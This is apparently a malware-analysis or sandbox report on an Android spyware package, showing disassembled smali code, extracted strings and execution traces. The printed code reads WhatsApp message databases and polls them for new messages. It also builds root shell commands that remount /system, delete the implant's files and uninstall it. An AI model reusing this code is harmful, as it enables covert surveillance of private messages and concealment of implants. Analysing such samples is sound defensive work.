      121goto_a9: const/4 v0, 0x0
      122const/16 v4, 0x10
      123try_start_ac:
      124invoke-static {v2, v0, v4}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      125try_end_af: move-result-object v2
      126try_start_b0: iget-boolean v0, p0, Lcom/network/android/o;->a:Z
      127if-eqz v0, :cond_14b
      129const-string v0, "select * from messages"
      130const/4 v4, 0x0
      132invoke-virtual {v3, v0, v4}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      133try_end_ba: move-result-object v4
      134goto_bb:
      135iget-object v0, p0, Lcom/network/android/o;->b:Landroid/content/Context;
      137invoke-static {v0, v4, v2}, Lcom/network/android/m;->a(Landroid/content/Context;Landroid/database/Cursor;Landroid/database/sqlite/SQLiteDatabase;)V
      138goto_c0: if-eqz v4, :cond_c5
      139try_start_c2:
      140invoke-interface {v4}, Landroid/database/Cursor;->close()V
      141cond_c5: if-eqz v3, :cond_ca
      143invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      144cond_ca: if-eqz v1, :cond_cf
      146invoke-interface {v1}, Landroid/database/Cursor;->close()V
      147cond_cf: if-eqz v2, :cond_d4
      149invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      150cond_d4:
      151invoke-interface {v5}, Ljava/util/concurrent/locks/Lock;->unlock()V
      152try_end_d7: goto/16 :goto_13
      153catch_d9: move-exception v0
      154new-instance v1, Ljava/lang/StringBuilder;
      156const-string v2, "get whatsapp finally- "
      158invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      160invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      161move-result-object v2
      163invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      164move-result-object v1
      166invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      167move-result-object v1
      169invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      170goto/16 :goto_13
      171cond_f2: new-instance v3, Ljava/lang/StringBuilder;
      173const-string v4, "get whatsapp monitor isDump:"
      175invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      176iget-boolean v4, p0, Lcom/network/android/o;->a:Z
      178invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      179move-result-object v3
      181invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      182move-result-object v3
      184invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      185goto/16 :goto_50
      186catch_108: move-exception v3
      187try_start_109: new-instance v3, Ljava/lang/StringBuilder;
      189const-string v4, "getWhatsApp GetContentIM fail to openDatabase: "
      191invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      193invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      194move-result-object v3
      196const-string v4, ", try to open with OPEN_READONLY"
      198invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      199move-result-object v3
      201invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      202move-result-object v3
      204invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      205const/4 v3, 0x0
      206const/16 v4, 0x11
      208invoke-static {v0, v3, v4}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      209try_end_127: move-result-object v3
      210goto/16 :goto_a9
      211catch_129: move-exception v0
      212try_start_12a: new-instance v0, Ljava/lang/StringBuilder;
      214const-string v4, "getWhatsApp GetContentIM fail to openDatabase: "
      216invoke-direct {v0, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      218invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      219move-result-object v0
      221const-string v4, ", try to open with OPEN_READONLY"
      223invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      224move-result-object v0
      226invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      227move-result-object v0
      229invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      230const/4 v0, 0x0
      231const/16 v4, 0x11
      233invoke-static {v2, v0, v4}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      234try_end_148: move-result-object v2
      235goto/16 :goto_b0
      236try_start_14b:
      237sget-object v0, Lcom/network/android/m;->a:Ljava/lang/String;
      238if-nez v0, :cond_2fe
      240const-string v0, "get whatsapp monitor set last id"
      242invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      244const-string v0, "select timestamp from messages order by _id desc limit 1;"
      245const/4 v4, 0x0
      247invoke-virtual {v3, v0, v4}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      248try_end_15a: move-result-object v4
      249if-eqz v4, :cond_17e
      250try_start_15d:
      251invoke-interface {v4}, Landroid/database/Cursor;->moveToFirst()Z
      252move-result v0
      253if-eqz v0, :cond_212
      254const/4 v0, 0x0
      256invoke-interface {v4, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      257move-result-object v0
      258sput-object v0, Lcom/network/android/m;->a:Ljava/lang/String;
      259new-instance v0, Ljava/lang/StringBuilder;
      261const-string v6, "get whatsapp monitor last timestamp id: "
      263invoke-direct {v0, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      265sget-object v6, Lcom/network/android/m;->a:Ljava/lang/String;
      267invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      268move-result-object v0
      270invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      271move-result-object v0
      273invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      274try_start_17e: new-instance v0, Ljava/lang/StringBuilder;
      276const-string v6, "get whatsapp monitor last timestamp id: "
      278invoke-direct {v0, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      280sget-object v6, Lcom/network/android/m;->a:Ljava/lang/String;
      282invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      283move-result-object v0
      285const-string v6, ", by date:"
      287invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      288move-result-object v0
      289new-instance v6, Ljava/util/Date;
      291sget-object v7, Lcom/network/android/m;->a:Ljava/lang/String;
      293invoke-static {v7}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
      294move-result-wide v7
      296invoke-direct {v6, v7, v8}, Ljava/util/Date;-><init>(J)V
      298invoke-virtual {v6}, Ljava/util/Date;->toString()Ljava/lang/String;
      299move-result-object v6
      301invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      302move-result-object v0
      304invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      305move-result-object v0
      307invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      308try_end_1ab: new-instance v0, Ljava/lang/StringBuilder;
      310const-string v6, "select * from messages where timestamp > \'"
      312invoke-direct {v0, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      314sget-object v6, Lcom/network/android/m;->a:Ljava/lang/String;
      316invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      317move-result-object v0
      319const-string v6, "\' "
      321invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      322move-result-object v0
      324invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      325move-result-object v0
      326new-instance v6, Ljava/lang/StringBuilder;
      328const-string v7, "get whatsapp monitor query: "
      330invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      332invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      333move-result-object v6
      335invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      336move-result-object v6
      338invoke-static {v6}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      339const/4 v6, 0x0
      341invoke-virtual {v3, v0, v6}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      342try_end_1d8: move-result-object v1
      343if-nez v1, :cond_2f9
      344try_start_1db:
      345const-string v0, "whatsapp Provider == null return"
      347invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      348try_end_1e0: if-eqz v1, :cond_1e5
      349try_start_1e2:
      350invoke-interface {v1}, Landroid/database/Cursor;->close()V
      351cond_1e5: if-eqz v3, :cond_1ea
      353invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      354cond_1ea: if-eqz v4, :cond_1ef
      356invoke-interface {v4}, Landroid/database/Cursor;->close()V
      357cond_1ef: if-eqz v2, :cond_1f4
      359invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      360cond_1f4:
      361invoke-interface {v5}, Ljava/util/concurrent/locks/Lock;->unlock()V
      362try_end_1f7: goto/16 :goto_13
      363catch_1f9: move-exception v0
      364new-instance v1, Ljava/lang/StringBuilder;
      366const-string v2, "get whatsapp finally- "
      368invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      370invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      371move-result-object v2
      373invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      374move-result-object v1
      376invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      377move-result-object v1
      379invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      380goto/16 :goto_13
      381cond_212:
      382const-string v0, "get whatsapp monitor no messages"
      384invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      385try_end_217: goto/16 :goto_17e
      386catch_219: move-exception v0
      387move-object v9, v2
      388move-object v2, v3
      389move-object v3, v4
      390move-object v4, v1
      391move-object v1, v9
      392try_start_21f: new-instance v6, Ljava/lang/StringBuilder;
      394const-string v7, "get whatsapp Throwable- "
      396invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      398invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      399move-result-object v7
      401invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      402move-result-object v6
      404invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      405move-result-object v6
      407invoke-static {v6, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      408const/4 v0, 0x1
      409const/16 v6, 0xbe3
      411const-string v7, "LOG_ERR_WHATSAPP"
      413invoke-static {v0, v6, v7}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      414try_end_23d: if-eqz v4, :cond_242
      415try_start_23f:
      416invoke-interface {v4}, Landroid/database/Cursor;->close()V
      417cond_242: if-eqz v2, :cond_247
      419invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      420cond_247: if-eqz v3, :cond_24c
      422invoke-interface {v3}, Landroid/database/Cursor;->close()V
      423cond_24c: if-eqz v1, :cond_251
      425invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      426cond_251:
      427invoke-interface {v5}, Ljava/util/concurrent/locks/Lock;->unlock()V
      428try_end_254: goto/16 :goto_13
      429catch_256: move-exception v0
      430new-instance v1, Ljava/lang/StringBuilder;
      432const-string v2, "get whatsapp finally- "
      434invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      436invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      437move-result-object v2
      439invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      440move-result-object v1
      442invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      443move-result-object v1
      445invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      446goto/16 :goto_13
      447cond_26f: new-instance v2, Ljava/lang/StringBuilder;
      449const-string v3, "get whatsapp messages DB does not exist: "
      451invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      453invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      454move-result-object v0
      456invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      457move-result-object v0
      459invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      460try_end_281: move-object v2, v1
      461move-object v3, v1
      462move-object v4, v1
      463goto/16 :goto_c0
      464catchall_286: move-exception v0
      465move-object v2, v1
      466move-object v3, v1
      467move-object v4, v1
      468goto_28a: if-eqz v4, :cond_28f
      469try_start_28c:
      470invoke-interface {v4}, Landroid/database/Cursor;->close()V
      471cond_28f: if-eqz v3, :cond_294
      473invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      474cond_294: if-eqz v1, :cond_299
      476invoke-interface {v1}, Landroid/database/Cursor;->close()V
      477cond_299: if-eqz v2, :cond_29e
      479invoke-virtual {v2}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      480cond_29e:
      481invoke-interface {v5}, Ljava/util/concurrent/locks/Lock;->unlock()V
      482goto_2a1: throw v0
      483catch_2a2: move-exception v1
      484new-instance v2, Ljava/lang/StringBuilder;
      486const-string v3, "get whatsapp finally- "
      488invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      490invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      491move-result-object v3
      493invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      494move-result-object v2
      496invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      497move-result-object v2
      499invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      500goto/16 :goto_2a1
      501catchall_2ba: move-exception v0
      502move-object v2, v1
      503move-object v4, v1
      504goto/16 :goto_28a
      505catchall_2be: move-exception v0
      506move-object v4, v1
      507goto/16 :goto_28a
      508catchall_2c1: move-exception v0
      509move-object v9, v4
      510move-object v4, v1
      511move-object v1, v9
      512goto/16 :goto_28a
      513catchall_2c6: move-exception v0
      514move-object v9, v4
      515move-object v4, v1
      516move-object v1, v9
      517goto/16 :goto_28a
      518catchall_2cb: move-exception v0
      519goto/16 :goto_28a
      520catchall_2cd: move-exception v0
      521move-object v9, v1
      522move-object v1, v3
      523move-object v3, v2
      524move-object v2, v9
      525goto/16 :goto_28a
      526catch_2d3: move-exception v0
      527move-object v2, v1
      528move-object v3, v1
      529move-object v4, v1
      530goto/16 :goto_21f
      531catch_2d9: move-exception v0
      532move-object v2, v3
      533move-object v4, v1
      534move-object v3, v1
      535goto/16 :goto_21f
      536catch_2df: move-exception v0
      537move-object v4, v1
      538move-object v9, v3
      539move-object v3, v1
      540move-object v1, v2
      541move-object v2, v9
      542goto/16 :goto_21f
      543catch_2e7: move-exception v0
      544move-object v9, v2
      545move-object v2, v3
      546move-object v3, v4
      547move-object v4, v1
      548move-object v1, v9
      549goto/16 :goto_21f
      550catch_2ef: move-exception v0
      551move-object v9, v2
      552move-object v2, v3
      553move-object v3, v1
      554move-object v1, v9
      555goto/16 :goto_21f
      556catch_2f6: move-exception v0
      557goto/16 :goto_1ab
      558cond_2f9: move-object v9, v4
      559move-object v4, v1
      560move-object v1, v9
      561goto/16 :goto_bb
      562cond_2fe: move-object v4, v1
      563goto/16 :goto_17e
      Cross References
      APIs
      • java.lang.Boolean.valueOf
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Boolean.booleanValue
      • android.os.Handler.<init>
      • android.os.Handler.postDelayed
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • android.content.Context.getApplicationInfo
      • android.content.pm.ApplicationInfo.dataDir:Ljava/lang/String
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • android.os.Process.myPid
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.os.Handler.<init>
      • android.os.Handler.postDelayed
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.os.Handler.<init>
      • android.os.Handler.postDelayed
      Strings
      • removePackage start
      • removePackage start. is on upgrade state:
      • removePackage start. is on upgrade state: false
      • /data/data/com.network.android
      • removePackage start. we are on upgrade state. returning
      • removePackage exception:
      • removePackage continuing anyway
      • /system/csk
      • /
      • sleep 10;
      • export LD_LIBRARY_PATH=/vendor/lib:/system/lib;
      • mount -o remount,rw /dev/null /system;
      • chmod 0777
      • ;
      • am force-stop com.network.android;
      • pm disable com.network.android;
      • rm /system/app/com.media.sync.apk;
      • pm uninstall com.network.android;
      • kill
      • rm
      • rmdir -R
      • sync;
      • rm /system/ttg;
      • chmod 0777 /system/csk;rm /system/csk;
      • reboot;
      • removePackage uninstalling agent from system using rm. command:
      • remove Package end
      • removePackage uninstalling using package manager. command: export LD_LIBRARY_PATH=/vendor/lib:/system/lib;mount -o remount,rw /dev/null /system;chmod 0777 /system/csk;rm /system/csk;rm /system/ttg;pm uninstall com.network.android;
      • export LD_LIBRARY_PATH=/vendor/lib:/system/lib;mount -o remount,rw /dev/null /system;chmod 0777 /system/csk;rm /system/csk;rm /system/ttg;pm uninstall com.network.android;
      • removePackage:
      Position Instruction Meta Information
      0const-wide/32 v4, 0x2e630
      1try_start_3:
      2const-string v0, "removePackage start"
      4invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079697
        • p0: removePackage start
      6invoke-static {}, Lcom/network/h/j;->a()Z
      • Time: 1079701
        • Return:
          • false
      7move-result v0
      9invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      10move-result-object v0
      11new-instance v1, Ljava/lang/StringBuilder;
      13const-string v2, "removePackage start. is on upgrade state: "
      15invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      17invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      18move-result-object v1
      20invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      21move-result-object v1
      23invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079703
        • p0: removePackage start. is on upgrade state: false
      25invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
      26move-result v0
      27if-eqz v0, :cond_5f
      29const-string v0, "/data/data/com.network.android"
      31invoke-static {v0}, Lcom/network/h/b;->a(Ljava/lang/String;)V
      33const-string v0, "removePackage start. we are on upgrade state. returning"
      35invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      36new-instance v0, Landroid/os/Handler;
      38invoke-direct {v0}, Landroid/os/Handler;-><init>()V
      39new-instance v1, Lcom/network/h/d;
      41invoke-direct {v1, p0}, Lcom/network/h/d;-><init>(Landroid/content/Context;)V
      42const-wide/32 v2, 0x2e630
      44invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
      45goto_42: return-void
      46catch_43: move-exception v0
      47new-instance v1, Ljava/lang/StringBuilder;
      49const-string v2, "removePackage exception: "
      51invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      53invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      54move-result-object v2
      56invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      57move-result-object v1
      59invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      60move-result-object v1
      62invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      64const-string v0, "removePackage continuing anyway"
      66invoke-static {v0}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      67cond_5f:
      68invoke-static {}, Lcom/network/b/b;->L()V
      69new-instance v0, Ljava/io/File;
      71const-string v1, "/system/csk"
      73invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      75invoke-virtual {v0}, Ljava/io/File;->exists()Z
      76move-result v0
      77if-eqz v0, :cond_245
      79const-string v0, "/data/data/com.network.android"
      81invoke-static {v0}, Lcom/network/h/b;->a(Ljava/lang/String;)V
      82try_start_74:
      83invoke-static {}, Lcom/network/android/ab;->a()V
      85invoke-static {p0}, Lcom/network/h/b;->d(Landroid/content/Context;)Z
      86move-result v0
      87if-eqz v0, :cond_21d
      88new-instance v0, Ljava/lang/StringBuilder;
      90invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      92invoke-virtual {p0}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
      93move-result-object v1
      95iget-object v1, v1, Landroid/content/pm/ApplicationInfo;->dataDir:Ljava/lang/String;
      97invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      98move-result-object v0
      100const-string v1, "/"
      102invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      103move-result-object v0
      105invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      106move-result-object v1
      108invoke-static {p0}, Lcom/network/h/b;->c(Landroid/content/Context;)Ljava/lang/String;
      109move-result-object v2
      111const-string v0, ""
      112new-instance v3, Ljava/lang/StringBuilder;
      114invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      116invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      117move-result-object v0
      119const-string v3, " sleep 10;"
      121invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      122move-result-object v0
      124invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      125move-result-object v0
      126new-instance v3, Ljava/lang/StringBuilder;
      128invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      130invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      131move-result-object v0
      133const-string v3, " export LD_LIBRARY_PATH=/vendor/lib:/system/lib;"
      135invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      136move-result-object v0
      138invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      139move-result-object v0
      140new-instance v3, Ljava/lang/StringBuilder;
      142invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      144invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      145move-result-object v0
      147const-string v3, " mount -o remount,rw /dev/null /system;"
      149invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      150move-result-object v0
      152invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      153move-result-object v0
      154new-instance v3, Ljava/lang/StringBuilder;
      156invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      158invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      159move-result-object v0
      161const-string v3, " chmod 0777 "
      163invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      164move-result-object v0
      166invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      167move-result-object v0
      169const-string v3, ";"
      171invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      172move-result-object v0
      174invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      175move-result-object v0
      176new-instance v3, Ljava/lang/StringBuilder;
      178invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      180invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      181move-result-object v0
      183const-string v3, " am force-stop com.network.android;"
      185invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      186move-result-object v0
      188invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      189move-result-object v0
      190new-instance v3, Ljava/lang/StringBuilder;
      192invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      194invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      195move-result-object v0
      197const-string v3, " pm disable com.network.android;"
      199invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      200move-result-object v0
      202invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      203move-result-object v0
      204new-instance v3, Ljava/lang/StringBuilder;
      206invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      208invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      209move-result-object v0
